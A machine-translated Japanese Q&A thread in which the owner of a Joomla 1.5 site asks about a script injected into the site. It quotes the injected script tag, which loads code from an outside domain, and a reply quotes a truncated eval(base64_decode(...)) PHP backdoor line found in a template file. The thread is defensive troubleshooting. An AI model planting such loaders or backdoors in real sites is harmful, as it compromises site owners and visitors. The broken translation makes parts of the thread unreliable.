Joomla！ 1.5サイトがXSSの犠牲​​者になった

Question

私のJoomla！ （どこか）1.5のWebサイトは最近、XSS攻撃（それはこのようなものになると私はnoobのだ）であると思われるものの犠牲になった...次のコードは、サイト内に注入した

<script src="http://sweepstakesandcontestsdo.com/pmg.php"></script> 

およびI」正確にはわからない。私はデータベースとファイルを検索して、結果がゼロになるように探しました。明白な何かがありますか？

Answer 1

私のサイトもこの攻撃の犠牲になりましたが、まだ調査中です。 XSS攻撃ではないため、サーバーファイルが侵害されました。インデックスのphpファイルのシステムテンプレートの内側を見て、あなたはこのようなコードのブロックを見つける：

<?php /**/ eval(base64_decode("aWYoZnVuY3Rpb.....> 

のbase64エンコード文字列は、嫌なことのすべての種類を行うPHPコードです。